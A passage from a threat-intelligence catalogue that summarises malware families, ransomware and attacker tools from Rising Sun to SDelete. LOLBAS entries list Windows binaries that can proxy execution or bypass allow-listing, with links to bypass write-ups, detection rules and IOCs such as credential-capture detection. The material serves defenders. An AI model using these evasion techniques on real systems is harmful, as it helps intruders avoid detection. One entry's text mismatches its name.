[Rising Sun](https://app.tidalcyber.com/software/19b1f1c8-5ef3-4328-b605-38e0bafc084d) is a modular backdoor that was used extensively in [Operation Sharpshooter](https://app.tidalcyber.com/campaigns/57e858c8-fd0b-4382-a178-0165d03aa8a9) between 2017 and 2019. [Rising Sun](https://app.tidalcyber.com/software/19b1f1c8-5ef3-4328-b605-38e0bafc084d) infected at least 87 organizations around the world, including nuclear, defense, energy, and financial service companies. Security researchers assessed [Rising Sun](https://app.tidalcyber.com/software/19b1f1c8-5ef3-4328-b605-38e0bafc084d) included some source code from [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08)'s Trojan Duuzer.^{[[McAfee Sharpshooter December 2018](https://app.tidalcyber.com/references/96b6d012-8620-4ef5-bf9a-5f88e465a495)]}

The tag is: *misp-galaxy:software="Rising Sun"*

ROADSWEEP

[ROADSWEEP](https://app.tidalcyber.com/software/5452ec27-0deb-5f29-bed9-5ee838040438) is a ransomware that was deployed against Albanian government networks during [HomeLand Justice](https://app.tidalcyber.com/campaigns/04329c95-d792-5333-b5bc-13ef2c545d7b) along with the [CHIMNEYSWEEP](https://app.tidalcyber.com/software/966f4b5c-e5f3-598e-9ac0-a5174c56827b) backdoor.^{[[Mandiant ROADSWEEP August 2022](https://app.tidalcyber.com/references/0d81ec58-2e12-5824-aa53-feb0d2260f30)]}

The tag is: *misp-galaxy:software="ROADSWEEP"*

ROADTools

[ROADTools](https://app.tidalcyber.com/software/15bc8e94-64d1-4f1f-bc99-08cfbac417dc) is a framework for enumerating Azure Active Directory environments. The tool is written in Python and publicly available on GitHub.^{[[ROADtools Github](https://app.tidalcyber.com/references/90c592dc-2c9d-401a-96ab-b539f7522956)]}

The tag is: *misp-galaxy:software="ROADTools"*

RobbinHood

[RobbinHood](https://app.tidalcyber.com/software/b65956ef-439a-463d-b85e-6606467f508a) is ransomware that was first observed being used in an attack against the Baltimore city government's computer network.^{[[CarbonBlack RobbinHood May 2019](https://app.tidalcyber.com/references/cb9e49fa-253a-447a-9c88-c6e507bae0bb)]}^{[[BaltimoreSun RobbinHood May 2019](https://app.tidalcyber.com/references/f578de81-ea6b-49d0-9a0a-111e07249cd8)]}

The tag is: *misp-galaxy:software="RobbinHood"*

ROCKBOOT

[ROCKBOOT](https://app.tidalcyber.com/software/cb7aa34e-312f-4210-be7b-47a1e3f5b7b5) is a [Bootkit](https://app.tidalcyber.com/technique/032985de-5e09-4889-b8c4-84d940c6346c) that has been used by an unidentified, suspected China-based group. ^{[[FireEye Bootkits](https://app.tidalcyber.com/references/585827a8-1f03-439d-b66e-ad5290117c1b)]}

The tag is: *misp-galaxy:software="ROCKBOOT"*

RogueRobin

[RogueRobin](https://app.tidalcyber.com/software/852cf78d-9cdc-4971-a972-405921027436) is a payload used by [DarkHydrus](https://app.tidalcyber.com/groups/f2b31240-0b4a-4fa4-82a4-6bb00e146e75) that has been developed in PowerShell and C#. ^{[[Unit 42 DarkHydrus July 2018](https://app.tidalcyber.com/references/800279cf-e6f8-4721-818f-46e35ec7892a)]}^{[[Unit42 DarkHydrus Jan 2019](https://app.tidalcyber.com/references/eb235504-d142-4c6d-9ffd-3c0b0dd23e80)]}

The tag is: *misp-galaxy:software="RogueRobin"*

ROKRAT

[ROKRAT](https://app.tidalcyber.com/software/a3479628-af0b-4088-8d2a-fafa384731dd) is a cloud-based remote access tool (RAT) used by [APT37](https://app.tidalcyber.com/groups/013fdfdc-aa32-4779-8f6e-7920615cbf66) to target victims in South Korea. [APT37](https://app.tidalcyber.com/groups/013fdfdc-aa32-4779-8f6e-7920615cbf66) has used ROKRAT during several campaigns from 2016 through 2021.^{[[Talos ROKRAT](https://app.tidalcyber.com/references/1bd78a2f-2bc6-426f-ac9f-16bf3fdf4cdf)]}^{[[Talos Group123](https://app.tidalcyber.com/references/bf8b2bf0-cca3-437b-a640-715f9cc945f7)]}^{[[Volexity InkySquid RokRAT August 2021](https://app.tidalcyber.com/references/bff1667b-3f87-4653-bd17-b675e997baf1)]}

The tag is: *misp-galaxy:software="ROKRAT"*

RomCom

RomCom is a custom backdoor believed to be developed and distributed by the Void Rabisu threat actor. It has been used in attacks that Trend Micro researchers assess to be geopolitically motivated.^{[[Trend Micro Void Rabisu May 30 2023](/references/5fd628ca-f366-4f0d-b493-8be19fa4dd4e)]}

The tag is: *misp-galaxy:software="RomCom"*

RootRot

RootRot is a web shell written in Perl embedded into a legitimate Connect Secure .ttc file located at /data/runtime/tmp/tt/setcookie.thtml.ttc by exploiting CVE-2023-46805 and CVE-2024-21887.^{[[Google Cloud April 4 2024](/references/5179ba93-fab1-48b9-81e7-c9a79cf9402f)]}

The tag is: *misp-galaxy:software="RootRot"*

RotaJakiro

[RotaJakiro](https://app.tidalcyber.com/software/169bfcf6-544c-5824-a7cd-2d5070304b57) is a 64-bit Linux backdoor used by [APT32](https://app.tidalcyber.com/groups/c0fe9859-e8de-4ce1-bc3c-b489e914a145). First seen in 2018, it uses a plugin architecture to extend capabilities. [RotaJakiro](https://app.tidalcyber.com/software/169bfcf6-544c-5824-a7cd-2d5070304b57) can determine it's permission level and execute according to access type (`root` or `user`).^{[[RotaJakiro 2021 netlab360 analysis](https://app.tidalcyber.com/references/7a9c53dd-2c0e-5452-9ee2-01531fbf8ba8)]}^{[[netlab360 rotajakiro vs oceanlotus](https://app.tidalcyber.com/references/20967c9b-5bb6-5cdd-9466-2c9efd9ab98c)]}

The tag is: *misp-galaxy:software="RotaJakiro"*

route

[route](https://app.tidalcyber.com/software/3b755518-9085-474e-8bc4-4f9344d9c8af) can be used to find or change information within the local system IP routing table. ^{[[TechNet Route](https://app.tidalcyber.com/references/0e483ec8-af40-4139-9711-53b999e069ee)]}

The tag is: *misp-galaxy:software="route"*

Rover

[Rover](https://app.tidalcyber.com/software/ef38ff3e-fa36-46f2-a720-3abaca167b04) is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan. ^{[[Palo Alto Rover](https://app.tidalcyber.com/references/bbdf3f49-9875-4d41-986d-b693e82c77e1)]}

The tag is: *misp-galaxy:software="Rover"*

Royal

[Royal](https://app.tidalcyber.com/software/221e24cb-910f-5988-9473-578ef350870c) is ransomware that first appeared in early 2022; a version that also targets ESXi servers was later observed in February 2023. [Royal](https://app.tidalcyber.com/software/221e24cb-910f-5988-9473-578ef350870c) employs partial encryption and multiple threads to evade detection and speed encryption. [Royal](https://app.tidalcyber.com/software/221e24cb-910f-5988-9473-578ef350870c) has been used in attacks against multiple industries worldwide—including critical infrastructure. Security researchers have identified similarities in the encryption routines and TTPs used in [Royal](https://app.tidalcyber.com/software/221e24cb-910f-5988-9473-578ef350870c) and [Conti](https://app.tidalcyber.com/software/8e995c29-2759-4aeb-9a0f-bb7cd97b06e5) attacks and noted a possible connection between their operators.^{[[Microsoft Royal ransomware November 2022](https://app.tidalcyber.com/references/91efc6bf-e15c-514a-96c1-e838268d222f)]}^{[[Cybereason Royal December 2022](https://app.tidalcyber.com/references/28aef64e-20d3-5227-a3c9-e657c6e2d07e)]}^{[[Kroll Royal Deep Dive February 2023](https://app.tidalcyber.com/references/dcdcc965-56d0-58e6-996b-d8bd40916745)]}^{[[Trend Micro Royal Linux ESXi February 2023](https://app.tidalcyber.com/references/e5bb846f-d11f-580c-b96a-9de4ba5eaed6)]}^{[[CISA Royal AA23-061A March 2023](https://app.tidalcyber.com/references/81baa61e-13c3-51e0-bf22-08383dbfb2a1)]}

The tag is: *misp-galaxy:software="Royal"*

Rpcping

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Used to verify rpc connection

Author: Oddvar Moe

Paths: * C:\Windows\System32\rpcping.exe * C:\Windows\SysWOW64\rpcping.exe

Resources: * https://github.com/vysec/RedTips * https://twitter.com/vysecurity/status/974806438316072960 * https://twitter.com/vysecurity/status/873181705024266241 * https://twitter.com/splinter_code/status/1421144623678988298

Detection: * Sigma: [proc_creation_win_rpcping_credential_capture.yml]([Rpcping.exe - LOLBAS Project](/references/dc15a187-4de7-422e-a507-223e89e317b1)]</sup>

The tag is: *misp-galaxy:software="Rpcping"*

RSOCKS

According to its GitHub project page, RSOCKS is a "reverse proxy server for transferring traffic of a specific host through a SOCKS 4/5 proxy".^{[[GitHub tonyseek rsocks](/references/755cdfb1-f2ca-4da0-afc0-dc76e22bf394)]}

The tag is: *misp-galaxy:software="RSOCKS"*

Rsockstun

Rsockstun is an open-source software project. According to its GitHub repository, Rsockstun is a reverse socks5 tunneler with SSL, ntlm, and proxy support.^{[[GitHub rsockstun](/references/1644457f-75d6-4064-a11b-9217249fa5e6)]}

The tag is: *misp-galaxy:software="Rsockstun"*

RSocx

A tunneling software used to establish reverse proxy shells or SSH tunnels for command and control exfiltration.^{[[Unit 42 May 16 2025](/references/bcc4f7d1-5cce-47eb-8182-cfe0ff79739a)]}

The tag is: *misp-galaxy:software="RSocx"*

RTM

[RTM](https://app.tidalcyber.com/software/1836485e-a3a6-4fae-a15d-d0990788811a) is custom malware written in Delphi. It is used by the group of the same name ([RTM](https://app.tidalcyber.com/groups/666ab5f0-3ef1-4e74-8a10-65c60a7d1acd)). Newer versions of the malware have been reported publicly as Redaman.^{[[ESET RTM Feb 2017](https://app.tidalcyber.com/references/ab2cced7-05b8-4788-8d3c-8eadb0aaf38c)]}^{[[Unit42 Redaman January 2019](https://app.tidalcyber.com/references/433cd55a-f912-4d5a-aff6-92133d08267b)]}

The tag is: *misp-galaxy:software="RTM"*

Rubeus

[Rubeus](https://app.tidalcyber.com/software/2e54f40c-ab62-535e-bbab-3f3a835ff55a) is a C# toolset designed for raw Kerberos interaction that has been used since at least 2020, including in ransomware operations.^{[[GitHub Rubeus March 2023](https://app.tidalcyber.com/references/4bde7ce6-7fc6-5660-a8aa-745f19350ee1)]}^{[[FireEye KEGTAP SINGLEMALT October 2020](https://app.tidalcyber.com/references/59162ffd-cb95-4757-bb1e-0c2a4ad5c083)]}^{[[DFIR Ryuk’s Return October 2020](https://app.tidalcyber.com/references/eba1dafb-ff62-4d34-b268-3b9ba6a7a822)]}^{[[DFIR Ryuk 2 Hour Speed Run November 2020](https://app.tidalcyber.com/references/3b904516-3b26-4caa-8814-6e69b76a7c8c)]}

The tag is: *misp-galaxy:software="Rubeus"*

Ruler

[Ruler](https://app.tidalcyber.com/software/69563cbd-7dc1-4396-b576-d5886df11046) is a tool to abuse Microsoft Exchange services. It is publicly available on GitHub and the tool is executed via the command line. The creators of [Ruler](https://app.tidalcyber.com/software/69563cbd-7dc1-4396-b576-d5886df11046) have also released a defensive tool, NotRuler, to detect its usage.^{[[SensePost Ruler GitHub](https://app.tidalcyber.com/references/aa0a1508-a872-4e69-bf20-d3c8202f18c1)]}^{[[SensePost NotRuler](https://app.tidalcyber.com/references/1bafe35e-f99c-4aa9-8b2f-5a35970ec83b)]}

The tag is: *misp-galaxy:software="Ruler"*

Rundll32

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Used by Windows to execute dll files

Author: Oddvar Moe

Paths: * C:\Windows\System32\rundll32.exe * C:\Windows\SysWOW64\rundll32.exe

Resources: * https://pentestlab.blog/2017/05/23/applocker-bypass-rundll32/ * https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_7 * https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/ * https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/ * https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/ * https://github.com/sailay1996/expl-bin/blob/master/obfus.md * https://github.com/sailay1996/misc-bin/blob/master/rundll32.md * https://nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90 * https://www.cybereason.com/blog/rundll32-the-infamous-proxy-for-executing-malicious-code

Detection: * Sigma: [net_connection_win_rundll32_net_connections.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/network_connection/net_connection_win_rundll32_net_connections.yml) * Sigma: [proc_creation_win_rundll32_susp_activity.yml](https://github.com/SigmaHQ/sigma/blob/

62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml) * Elastic: [defense_evasion_unusual_network_connection_via_rundll32.toml](https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_unusual_network_connection_via_rundll32.toml) * IOC: Outbount Internet/network connections made from rundll32 * IOC: Suspicious use of cmdline flags such as -sta^{[[Rundll32.exe - LOLBAS Project](/references/90aff246-ce27-4f21-96f9-38543718ab07)]}

The tag is: *misp-galaxy:software="Rundll32"*

Runexehelper

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Launcher process

Author: Grzegorz Tworek

Paths: * c:\windows\system32\runexehelper.exe

Resources: * https://twitter.com/0gtweet/status/1206692239839289344

Detection: * Sigma: [proc_creation_win_lolbin_runexehelper.yml](https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_lolbin_runexehelper.yml) * IOC: c:\windows\system32\runexehelper.exe is run * IOC: Existence of runexewithargs_output.txt file^{[[Runexehelper.exe - LOLBAS Project](/references/86ff0379-2b73-4981-9f13-2b02b53bc90f)]}

The tag is: *misp-galaxy:software="Runexehelper"*

RunningRAT

[RunningRAT](https://app.tidalcyber.com/software/e8afda1f-fa83-4fc3-b6fb-7d5daca7173f) is a remote access tool that appeared in operations surrounding the 2018 Pyeongchang Winter Olympics along with [Gold Dragon](https://app.tidalcyber.com/software/348fdeb5-6a74-4803-ac6e-e0133ecd7263) and [Brave Prince](https://app.tidalcyber.com/software/51b27e2c-c737-4006-a657-195ea1a1f4f0). ^{[[McAfee Gold Dragon](https://app.tidalcyber.com/references/4bdfa92b-cbbd-43e6-aa3e-422561ff8d7a)]}

The tag is: *misp-galaxy:software="RunningRAT"*

Runonce

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Executes a Run Once Task that has been configured in the registry

Author: Oddvar Moe

Paths: * C:\Windows\System32\runonce.exe * C:\Windows\SysWOW64\runonce.exe

Resources: * https://twitter.com/pabraeken/status/990717080805789697 * https://cmatskas.com/configure-a-runonce-task-on-windows/

Detection: * Sigma: [registry_event_runonce_persistence.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/registry/registry_event/registry_event_runonce_persistence.yml) * Sigma: [proc_creation_win_runonce_execution.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_runonce_execution.yml) * Elastic: [persistence_run_key_and_startup_broad.toml](https://github.com/elastic/detection-rules/blob/2926e98c5d998706ef7e248a63fb0367c841f685/rules/windows/persistence_run_key_and_startup_broad.toml) * IOC: Registy key add -HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\YOURKEY^{[[Runonce.exe - LOLBAS Project](/references/b97d4b16-ead2-4cc7-90e5-f8b05d84faf3)]}

The tag is: *misp-galaxy:software="Runonce"*

Runscripthelper

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Execute target PowerShell script

Author: Oddvar Moe

Paths: * C:\Windows\WinSxS\amd64_microsoft-windows-u..ed-telemetry-client_31bf3856ad364e35_10.0.16299.15_none_c2df1bba78111118\Runscripthelper.exe * C:\Windows\WinSxS\amd64_microsoft-windows-u..ed-telemetry-client_31bf3856ad364e35_10.0.16299.192_none_ad4699b571e00c4a\Runscripthelper.exe

Resources: * [https://posts.specterops.io/bypassing-application-whitelisting-with-runscripthelper-exe-1906923658fc](https://posts.specterops.io/bypassing-application-whitelisting-with-

runscripthelper-exe-1906923658fc)

Detection: * Sigma: [proc_creation_win_lolbin_runscripthelper.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_runscripthelper.yml) * BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules * IOC: Event 4014 - Powershell logging * IOC: Event 400^{[[Runscripthelper.exe - LOLBAS Project](/references/6d7151e3-685a-4dc7-a44d-aefae4f3db6a)]}

The tag is: *misp-galaxy:software="Runscripthelper"*

Ryuk

[Ryuk](https://app.tidalcyber.com/software/8ae86854-4cdc-49eb-895a-d1fa742f7974) is a ransomware designed to target enterprise environments that has been used in attacks since at least 2018. [Ryuk](https://app.tidalcyber.com/software/8ae86854-4cdc-49eb-895a-d1fa742f7974) shares code similarities with Hermes ransomware.^{[[CrowdStrike Ryuk January 2019](https://app.tidalcyber.com/references/df471757-2ce0-48a7-922f-a84c57704914)]}^{[[FireEye Ryuk and Trickbot January 2019](https://app.tidalcyber.com/references/b29dc755-f1f0-4206-9ecf-29257a1909ee)]}^{[[FireEye FIN6 Apr 2019](https://app.tidalcyber.com/references/e8a2bc6a-04e3-484e-af67-5f57656c7206)]}

The tag is: *misp-galaxy:software="Ryuk"*

Sabbath Ransomware

54bb47h ("Sabbath") refers to the branding used by a ransomware operation in 2021. UNC2190 (aka Storm-0501) actors, who have leveraged a considerable number of distinct ransomware families, were observed deploying Sabbath ransomware during attacks on critical infrastructure organizations from June through at least October of that year.^{[[Mandiant Sabbath Ransomware November 29 2021](/references/ab3a20a5-2df1-4f8e-989d-baa96ffaca74)]}

The tag is: *misp-galaxy:software="Sabbath Ransomware"*

SafePay Ransomware

SafePay is a ransomware that encrypts files and demands a ransom for decryption. It is known for its file encryption capabilities and use of a ransom note to communicate with victims.^{[[huntress.com November 14 2024](/references/0418012c-af7e-47b0-b690-85fd634532e4)]}

The tag is: *misp-galaxy:software="SafePay Ransomware"*

Sagerunex

[Sagerunex](https://app.tidalcyber.com/software/2005b7cd-94c4-5d53-bd89-0af03c7a3ee7) is a malware family exclusively associated with [Lotus Blossom](https://app.tidalcyber.com/groups/2849455a-cf39-4a9f-bd89-c2b3c1e5dd52) operations, with variants existing since at least 2016. Variations of [Sagerunex](https://app.tidalcyber.com/software/2005b7cd-94c4-5d53-bd89-0af03c7a3ee7) leverage non-traditional command and control mechanisms such as various web services.^{[[Symantec Bilbug 2022](https://app.tidalcyber.com/references/0f4f0ac1-2a0b-56a5-9ea9-c5b2d1cb8c05)]}^{[[Cisco LotusBlossom 2025](https://app.tidalcyber.com/references/9b7db916-e62f-5d7e-9574-a85198665a5a)]}

The tag is: *misp-galaxy:software="Sagerunex"*

Saint Bot

[Saint Bot](https://app.tidalcyber.com/software/d66e5d18-e9f5-4091-bdf4-acdac129e2e0) is a .NET downloader that has been used by [Saint Bear](https://app.tidalcyber.com/groups/eb64ce69-f106-5e8e-8efd-a29385a05973) since at least March 2021.^{[[Malwarebytes Saint Bot April 2021](https://app.tidalcyber.com/references/3a1faa47-7bd3-453f-9b7a-bb17efb8bb3c)]}^{[[Palo Alto Unit 42 OutSteel SaintBot February 2022](https://app.tidalcyber.com/references/b0632490-76be-4018-982d-4b73b3d13881)]}

The tag is: *misp-galaxy:software="Saint Bot"*

Sakula

[Sakula](https://app.tidalcyber.com/software/a316c704-144a-4d14-8e4e-685bb6ae391c) is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015. ^{[[Dell Sakula](https://app.tidalcyber.com/references/e9a2ffd8-7aed-4343-8678-66fc3e758d19)]}

The tag is: *misp-galaxy:software="Sakula"*

SampleCheck5000

[SampleCheck5000](https://app.tidalcyber.com/software/e3864daf-a284-5cc0-b434-6e77c8406bd9) is a downloader with multiple variants that was used by [OilRig](https://app.tidalcyber.com/groups/d01abdb1-0378-4654-aa38-1a4a292703e2) including during the [Outer Space](https://app.tidalcyber.com/campaigns/cc893de9-3a94-531d-b799-08c75aeab019) campaign to download and execute additional payloads. ^{[[ESET OilRig Campaigns Sep 2023](https://app.tidalcyber.com/references/799db594-6a65-5b80-9d64-c530fadbd9ae)]}^{[[ESET OilRig Downloaders DEC 2023](https://app.tidalcyber.com/references/7f2e0dcb-43a6-59e6-bc44-d01ace24b154)]}

The tag is: *misp-galaxy:software="SampleCheck5000"*

SampleCheck5000 (Deprecated)

We are no longer maintaining this object in favor of a similar object subsequently published by MITRE: "SampleCheck5000" (Software). All relevant Tidal content extensions (e.g. additional Technique and Object relationships and metadata) have been added to the MITRE-authored object.

This is one of a series of malicious downloaders attributed to Iran-linked espionage actor OilRig, which were found to rely on legitimate cloud service providers for command and control purposes.^{[[ESET OilRig December 14 2023](/references/f96b74d5-ff75-47c6-a9a2-b2f43db351bc)]}

The tag is: *misp-galaxy:software="SampleCheck5000 (Deprecated)"*

SamSam

[SamSam](https://app.tidalcyber.com/software/88831e9f-453e-466f-9510-9acaa1f20368) is ransomware that appeared in early 2016. Unlike some ransomware, its variants have required operators to manually interact with the malware to execute some of its core components.^{[[US-CERT SamSam 2018](https://app.tidalcyber.com/references/b9d14fea-2330-4eed-892c-b4e05a35d273)]}^{[[Talos SamSam Jan 2018](https://app.tidalcyber.com/references/0965bb64-be96-46b9-b60f-6829c43a661f)]}^{[[Sophos SamSam Apr 2018](https://app.tidalcyber.com/references/4da5e9c3-7205-4a6e-b147-be7c971380f0)]}^{[[Symantec SamSam Oct 2018](https://app.tidalcyber.com/references/c5022a91-bdf4-4187-9967-dfe6362219ea)]}

The tag is: *misp-galaxy:software="SamSam"*

Samurai

[Samurai](https://app.tidalcyber.com/software/bd75c822-7be6-5e6f-bd2e-0512be6d38d9) is a passive backdoor that has been used by [ToddyCat](https://app.tidalcyber.com/groups/0f41da7d-1e47-58fe-ba6e-ee658a985e1b) since at least 2020. [Samurai](https://app.tidalcyber.com/software/bd75c822-7be6-5e6f-bd2e-0512be6d38d9) allows arbitrary C# code execution and is used with multiple modules for remote administration and lateral movement.^{[[Kaspersky ToddyCat June 2022](https://app.tidalcyber.com/references/285c038b-e5fc-57ef-9a98-d9e24c52e2cf)]}

The tag is: *misp-galaxy:software="Samurai"*

Sardonic

[Sardonic](https://app.tidalcyber.com/software/9ab0d523-3496-5e64-9ca1-bb756f5e64e0) is a backdoor written in C and C++ that is known to be used by [FIN8](https://app.tidalcyber.com/groups/b3061284-0335-4dcb-9f8e-a3b0412fd46f), as early as August 2021 to target a financial institution in the United States. [Sardonic](https://app.tidalcyber.com/software/9ab0d523-3496-5e64-9ca1-bb756f5e64e0) has a plugin system that can load specially made DLLs and execute their functions.<sup>[[Bitdefender Sardonic Aug 2021](https://app.tidalcyber.com/references/8e9d05c9-

6783-5738-ac85-a444810a8074)]</sup>^{[[Symantec FIN8 Jul 2023](https://app.tidalcyber.com/references/9b08b7f0-1a33-5d76-817f-448fac0d165a)]}

The tag is: *misp-galaxy:software="Sardonic"*

Sc

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Used by Windows to manage services

Author: Oddvar Moe

Paths: * C:\Windows\System32\sc.exe * C:\Windows\SysWOW64\sc.exe

Resources: * https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/

Detection: * Sigma: [proc_creation_win_susp_service_creation.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_susp_service_creation.yml) * Sigma: [proc_creation_win_sc_change_sevice_image_path_by_non_admin.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_sc_change_sevice_image_path_by_non_admin.yml) * Sigma: [proc_creation_win_sc_service_path_modification.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_sc_service_path_modification.yml) * Splunk: [sc_exe_manipulating_windows_services.yml](https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/sc_exe_manipulating_windows_services.yml) * Elastic: [lateral_movement_cmd_service.toml](https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/lateral_movement_cmd_service.toml) * IOC: Unexpected service creation * IOC: Unexpected service modification^{[[Sc.exe - LOLBAS Project](/references/5ce3ef73-f789-4939-a60e-e0a373048bda)]}

The tag is: *misp-galaxy:software="Sc"*

Scarab Ransomware

Scarab is a ransomware written in Delphi.^{[[WeLiveSecurity Scarab August 22 2023](/references/7cbf97fe-1809-4089-b386-a8bfd083df39)]}

The tag is: *misp-galaxy:software="Scarab Ransomware"*

ScHackTool

ScService is a custom tool used by CosmicBeetle, mainly used as an orchestrator for other tools during the group's intrusions.^{[[WeLiveSecurity Scarab August 22 2023](/references/7cbf97fe-1809-4089-b386-a8bfd083df39)]}

The tag is: *misp-galaxy:software="ScHackTool"*

schtasks

[schtasks](https://app.tidalcyber.com/software/2aacbf3a-a359-41d2-9a71-76447f0545b5) is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time. ^{[[TechNet Schtasks](https://app.tidalcyber.com/references/17c03e27-222d-41b5-9fa2-34f0939e5371)]}

The tag is: *misp-galaxy:software="schtasks"*

ScRansom

ScRansom is a custom ransomware used by the CosmicBeetle group, serving as a successor to the previously used Scarab Ransomware.^{[[WeLiveSecurity CosmicBeetle September 10 2024](/references/8debba29-4d6d-41d2-8772-f97c7d49056b)]}

The tag is: *misp-galaxy:software="ScRansom"*

Scriptrunner

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Execute binary through proxy binary to evade defensive counter measures

Author: Oddvar Moe

Paths: * C:\Windows\System32\scriptrunner.exe * C:\Windows\SysWOW64\scriptrunner.exe

Resources: * https://twitter.com/KyleHanslovan/status/914800377580503040 * https://twitter.com/NickTyrer/status/914234924655312896 * https://github.com/MoooKitty/Code-Execution

Detection: * Sigma: [proc_creation_win_servu_susp_child_process.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_servu_susp_child_process.yml) * IOC: Scriptrunner.exe should not be in use unless App-v is deployed^{[[Scriptrunner.exe - LOLBAS Project](/references/805d16cc-8bd0-4f80-b0ac-c5b5df51427c)]}

The tag is: *misp-galaxy:software="Scriptrunner"*

Scrobj

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Windows Script Component Runtime

Author: Eral4m

Paths: * c:\windows\system32\scrobj.dll * c:\windows\syswow64\scrobj.dll

Resources: * https://twitter.com/eral4m/status/1479106975967240209

Detection: * IOC: Execution of rundll32.exe with 'GenerateTypeLib' and a protocol handler ('://') on the command line^{[[Scrobj.dll - LOLBAS Project](/references/c50ff71f-c742-4d63-a18e-e1ce41d55193)]}

The tag is: *misp-galaxy:software="Scrobj"*

ScService

ScService is a custom, "simple" backdoor used by the CosmicBeetle group.^{[[WeLiveSecurity Scarab August 22 2023](/references/7cbf97fe-1809-4089-b386-a8bfd083df39)]}

The tag is: *misp-galaxy:software="ScService"*

SDBbot

[SDBbot](https://app.tidalcyber.com/software/046bbd0c-bff5-46fc-9028-cbe46a9f8ec5) is a backdoor with installer and loader components that has been used by [TA505](https://app.tidalcyber.com/groups/b3220638-6682-4a4e-ab64-e7dc4202a3f1) since at least 2019.^{[[Proofpoint TA505 October 2019](https://app.tidalcyber.com/references/711ea2b3-58e2-4b38-aa71-877029c12e64)]}^{[[IBM TA505 April 2020](https://app.tidalcyber.com/references/bcef8bf8-5fc2-4921-b920-74ef893b8a27)]}

The tag is: *misp-galaxy:software="SDBbot"*

SDelete

[SDelete](https://app.tidalcyber.com/software/3d4be65d-231b-44bb-8d12-5038a3d48bae) is an application that securely deletes data in a way that makes it unrecoverable. It is part of the Microsoft Sysinternals suite of tools. ^{[[Microsoft SDelete July 2016](https://app.tidalcyber.com/references/356c7d49-5abc-4566-9657-5ce58cf7be67)]}

The tag is: *misp-galaxy:software="SDelete"*

SeaDuke

